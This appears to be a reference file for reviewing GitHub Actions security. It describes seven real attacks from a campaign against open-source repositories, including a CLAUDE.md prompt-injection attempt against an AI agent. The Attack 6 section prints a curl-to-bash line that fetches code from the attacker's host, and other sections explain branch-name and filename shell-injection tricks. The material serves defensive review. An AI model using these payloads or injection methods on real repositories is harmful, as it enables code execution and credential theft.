Real World Attacks

This reference documents 7 attacks from the HackerBot Claw campaign (February-March 2025), which targeted high-profile open source repositories using GitHub Actions exploitation techniques. These are real, documented attacks — use them to calibrate severity and validate findings.

Attack Timeline

Success rate: 5 out of 7 targets achieved code execution or higher.

Attack 1: awesome-go — Go init() Injection

Category: Pwn Request Stars: 140,000+

Vulnerable Workflow

Attack

The attacker opened 6 PRs (Feb 28, 18:03-18:14 UTC) that modified Go files under .github/scripts/check-quality/. Each contained an init() function:

Indicators

• Build logs showed 5m37s execution time for quality checks (normally seconds)
• GITHUB_TOKEN with write permissions was exfiltrated
• 6 PRs in 11 minutes from the same attacker

Lesson

Go init() functions are invisible to casual review — they execute before main() without being called. Any go run, go test, or go build on fork code will trigger them.

Attack 2: trivy — PAT Theft and Full Repo Compromise

Category: Credential Escalation Stars: 25,000+

Vulnerable Workflow

Attack

The attacker modified .github/actions/setup-go/action.yaml in the fork to inject:

Because pull_request_target runs fork code with target repo secrets, the classic PAT (AUTO_COMMIT_PAT) was stolen.

Post-Exploitation (Feb 28, 03:47 UTC)

With the stolen PAT, the attacker:

1. Renamed repository to aquasecurity/private-trivy and made it private
2. Deleted all GitHub Releases (versions 0.27.0 through 0.69.1)
3. Pushed malicious artifact to trivy’s VSCode extension on Open VSIX marketplace
4. Pushed vandalism commit directly to main branch

Indicators

• “Set up Go” step took 5+ minutes (normally seconds)
• curl command visible in build logs
• Repository briefly disappeared (renamed/privatized)

Lesson

This is the maximum-impact scenario: a classic PAT grants access to ALL repositories the user can access. Even “fine-grained” PATs can be devastating if scoped too broadly. Never expose PATs to fork code.

Attack 3: microsoft/ai-discovery-agent — Branch Name Injection

Category: Expression Injection Target: Microsoft repository

Vulnerable Workflow

Attack

Branch name used as payload:

Breakdown:

• ${IFS} becomes a space character (Internal Field Separator)
• $({curl,-sSfL,...}) is brace expansion + command substitution
• Pipe to bash executes downloaded script

Indicators

• 2m38s execution gap in “Save format request data” step (Feb 27, 05:14 UTC)
• Downstream workflow file corrupted with curl output instead of branch name

Lesson

Branch names are attacker-controlled and can contain shell metacharacters. Always use environment variables, never direct ${{ }} in run: blocks.

Attack 4: DataDog/datadog-iac-scanner — Filename Injection

Category: Expression Injection Target: DataDog repository

Attack

Base64-encoded shell commands embedded in filenames:

When the workflow iterated over modified files using ${{ }}, the filename was interpreted as a shell command.

Response

DataDog deployed emergency fixes within 9 hours (PR #9, Feb 27). Build logs showed base64 decoding errors with 2.5-minute execution gap, confirming shell injection fired.

Lesson

File paths from PRs are attacker-controlled. When a workflow lists or iterates over changed files, those paths must never flow through ${{ }} into run: blocks.

Attack 5: ambient-code/platform — AI Prompt Injection

Category: AI Config Poisoning Target: Repository using Claude Code Action

Vulnerable Configuration

Attack

The attacker replaced CLAUDE.md with instructions directing Claude to commit unauthorized changes, modify README, and post fake approval comments.

Outcome

Blocked. Claude identified both injection attempts immediately, classifying it as a “textbook AI agent supply-chain attack via poisoned project-level instructions.” The workflow configuration was still vulnerable — the defense was the AI agent’s detection capability, not the workflow design.

Lesson

AI agent configuration files (CLAUDE.md, AGENTS.md, .cursorrules) are a new attack surface. Protect them with CODEOWNERS and mandatory review. Don’t rely solely on AI detection — fix the workflow configuration.

Attack 6: project-akri — Comment-Triggered Script Injection

Category: Unauthorized Command Execution Target: CNCF project

Vulnerable Workflow

Attack

1. Attacker opened PR modifying version.sh to inject payload at the top:

   bashCopy

   #!/usr/bin/env bash
   curl -sSfL https://hackmoltrepeat.com/molt | bash
   check_file_version()  # Original code continues

2. Attacker commented /version minor on the PR
3. Workflow triggered without authorization check
4. Fork’s version.sh executed with repo permissions

Indicators

• Workflow run 22526467048 (Feb 28)
• “Update version minor” step succeeded before failing at authentication

Lesson

issue_comment workflows must check author_association. Without it, any GitHub user can trigger privileged operations via comments on public repos.

Attack 7: RustPython — Base64 Branch Name Injection

Category: Expression Injection Target: RustPython project

Attack

Similar to the Microsoft attack but using base64-encoded payload in the branch name. The attack achieved partial execution before being detected.

Lesson

Base64 encoding is a common evasion technique for branch name and filename injection. The decoded payload is the same curl | bash pattern.

Common Patterns Across All Attacks

1. Same attacker infrastructure: All attacks used hackmoltrepeat.com for payload delivery
2. Same payload delivery: curl -sSfL [url] | bash pattern in every attack
3. Rapid iteration: Multiple targets hit within days (Feb 27 - Mar 2)
4. Targeting popular repos: Focused on high-star-count repos for maximum impact
5. Exploiting pull_request_target: 4 of 7 attacks used this trigger
6. Expression injection: 3 of 7 attacks used ${{ }} injection

Using This Reference

When you confirm a finding in a review, reference the most similar real-world attack:

• Pwn request → awesome-go or trivy (depending on credential scope)
• Expression injection → microsoft/ai-discovery-agent or DataDog
• Comment command → project-akri
• AI config poisoning → ambient-code/platform
• Credential theft → trivy (worst-case scenario)

Include the real-world precedent in your finding to help stakeholders understand the concrete risk.

References

• StepSecurity: HackerBot Claw — GitHub Actions Exploitation (opens in a new tab)
• Aqua Security: Trivy incident response (opens in a new tab)